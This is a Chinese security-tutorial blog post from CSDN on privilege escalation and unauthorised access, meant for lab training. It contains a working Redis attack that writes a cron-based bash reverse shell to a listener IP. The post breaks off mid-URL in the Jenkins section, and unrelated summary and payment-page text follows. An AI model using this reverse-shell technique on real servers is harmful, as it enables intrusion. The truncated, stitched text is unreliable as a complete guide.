[红日安全]Web安全Day7 - 越权/非授权访问实战攻防

本文介绍了Web安全中的越权和非授权访问问题,包括漏洞简介、原理、危害以及测试方法。越权漏洞分为垂直越权和水平越权,可能导致低权限用户访问高权限功能。文章提供了多种未授权访问服务的实例,如Redis、Jenkins、MongoDB和Memcache,并给出漏洞测试方法,包括基于用户ID、功能对象ID、上传文件对象ID的越权等。此外,还讨论了靶场测试和工具测试,如Burp Suite的Authz插件。
摘要由CSDN通过智能技术生成

本文由红日安全成员: misakikata 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1.越权
1.1 漏洞简介
未授权访问,顾名思义不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证页面存在缺陷,无认证,安全配置不当导致。常见于服务端口,接口无限制开放,网页功能通过链接无限制用户访问,低权限用户越权访问高权限功能。

何为越权漏洞,通俗的理解为用户可以操作超出自己管理权限范围的功能,从而进行非一般用户可以操作的行为。越权一般可以分为:垂直越权,水平越权。而在非用户登陆模式下,任意用户访问特定地址或链接均可以访问到需要用户身份后才可以访问到的功能。越权也可以看为安全配置不当导致的未授权访问。

1.2 漏洞原理
未授权访问是系统对用户限制不全,或者无限制,可以让任意用户或者限制访问用户,可以访问到内部敏感信息,导致的信息泄露,以及系统功能的执行。越权漏洞的产生原因是未对访问功能做权限的效对,或者限制不全,导致对用户的限制只局限于某一个功能和操作上。

1.3 漏洞危害
未授权访问通常是会泄露用户信息,系统信息。某些服务和系统中,未授权访问还可以执行系统命令,操作系统文件,导致系统的整体安全遭到破坏。而越权可以分为水平越权和垂直越权。垂直越权漏洞会导致低权限用户用来执行高权限用户的功能,获取高权限用户的账号信息,执行高权限用户的操作功能。水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息,如保存的地址、手机号、订单记录。同时还可能会以其他平级权限用户的身份来执行某行功能,如购买,删除,添加,修改等。

  1. 漏洞测试方法
    2.1 常见的未授权服务
    2.1.1 redis未授权访问
    此问题在互联网上曾经多数存在,redis默认开放6379端口,且对外开放。可以通过此端口来执行命令写入文件来反弹shell。

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n”
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
2.1.2 Jenkins未授权访问
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

http://www

web安全开发测试指南pdf红日安全是一本关于Web安全开发和测试的指南,由红日安全编写。这本指南主要旨在提供给开发人员和测试人员一些关于如何开发和测试安全Web应用程序的实用技巧和建议。 这本指南首先介绍了Web应用程序的常见安全威胁和攻击技术,例如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)和SQL注入等。它详细解释了这些威胁和攻击技术的工作原理,并提供了一些防御措施和最佳实践,以帮助开发人员编写更加安全的代码。 指南还介绍了一些常用的Web安全测试工具和技术,包括漏洞扫描器、Web应用程序防火墙(WAF)和代码审计等。它解释了如何使用这些工具和技术来测试和评估Web应用程序的安全性,并提供了一些建议,以帮助测试人员发现和修复潜在的安全漏洞。 除了具体的技术和工具以外,指南还强调了开发团队和测试团队之间的合作和沟通的重要性。它鼓励开发人员和测试人员在整个开发过程中共同努力,共同关注Web应用程序的安全性,从而确保最终构建出安全可靠的Web应用程序。 总之,web安全开发测试指南pdf红日安全为开发人员和测试人员提供了一份实用的指南,帮助他们更好地了解和应对Web应用程序的安全性挑战。这本指南的出版对于促进Web应用程序的安全开发和测试具有积极的推动作用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值